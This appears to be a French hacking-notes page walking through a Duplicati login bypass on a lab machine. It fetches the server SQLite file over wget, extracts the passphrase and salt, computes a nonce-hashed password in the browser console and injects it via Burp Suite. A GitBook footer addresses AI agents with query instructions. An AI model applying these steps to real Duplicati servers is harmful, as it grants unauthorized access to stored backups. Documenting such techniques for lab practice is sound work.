> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md). # Duplicati - Contournement de l’authentification de connexion {% embed url="" %} Lors de l’analyse de la cible, un **Duplicati** portail web est découvert. Le portail expose un panneau d’authentification nécessitant un mot de passe.

{% hint style="info" %} Duplicati est un client de sauvegarde qui stocke des sauvegardes chiffrées, incrémentales et compressées de fichiers locaux chez des fournisseurs de stockage cloud ou sur des serveurs de fichiers. {% endhint %} L’énumération du système localise le répertoire de configuration de Duplicati à `/opt/duplicati`. Le fichier SQLite `Duplicati-server.sqlite` peut contenir des informations sensibles.

#### Téléchargement du fichier SQLite Pour analyser le fichier, téléchargez-le sur la machine de l’attaquant à l’aide d’un serveur HTTP Python : ```bash python3 -m http.server 4444 ``` ```bash wget http://10.10.11.30:4444/Duplicati-server.sqlite ```

#### Analyse du fichier SQLite Ouvrez le fichier avec `sqlite3` pour inspecter son contenu : ```bash sqlite3 Duplicati-server.sqlite ``` Listez les tables et sélectionnez la `option` table pour l’extraction des données : ```sql .tables select * from option; ```

| Clé | Valeur | | --------------------------------- | ---------------------------------------------- | | `server-passphrase` | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` | | `server-passphrase-salt` | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` | | `server-passphrase-trayicon` | `ce13157b-a06e-4b60-811d-60d294e8d0ae` | | `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` | #### Conversion de la phrase secrète Le `server-passphrase` la valeur est encodée en Base64. Décodez-la et convertissez-la en hexadécimal avec : ```bash echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256 ```

#### Cela donne la valeur hexadécimale suivante : ```excel-formula 59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a ``` ### Calcul du mot de passe final Pour générer le mot de passe final, exécutez les étapes suivantes dans la console du navigateur : **Définissez la phrase secrète salée :** ```javascript var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; ``` ### Interception de la requête avec Burp Suite Interceptez la requête dans Burp Suite, choisissez `Intercepter > Réponse à cette requête`, puis cliquez sur `Suivant`.

Une requête HTTP interceptée avec **Burp Suite** révèle les valeurs suivantes :

```json { "Status": "OK", "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=", "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=" } ``` Le `Salt` correspond au `server-passphrase-salt` valeur extraite de la base de données. **Calculez le mot de passe nonce :** {% code overflow="wrap" %} ```javascript var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('dRRA/DU+SN0RiGJJR+xk3ifqZNFA67+VwTCC1PIK3R0=') + saltedpwd)).toString(CryptoJS.enc.Base64); ``` {% endcode %} **Affichez le résultat :** ```javascript console.log(noncedpwd); ```

Le mot de passe généré (`noncedpwd`) est : `bx8guiLaAag+uz6Ud+HRnu9mAb/kmzQB37Ht6e8WisA=` #### Injection et exploitation du mot de passe 1. Collez le mot de passe calculé. 2. Utilisez **Ctrl + U** pour l’encoder en URL.

3. Cliquez sur **Suivant** à nouveau pour terminer l’exploitation.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/cms/duplicati-cms-exploitation/duplicati-bypass-login-authentication.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.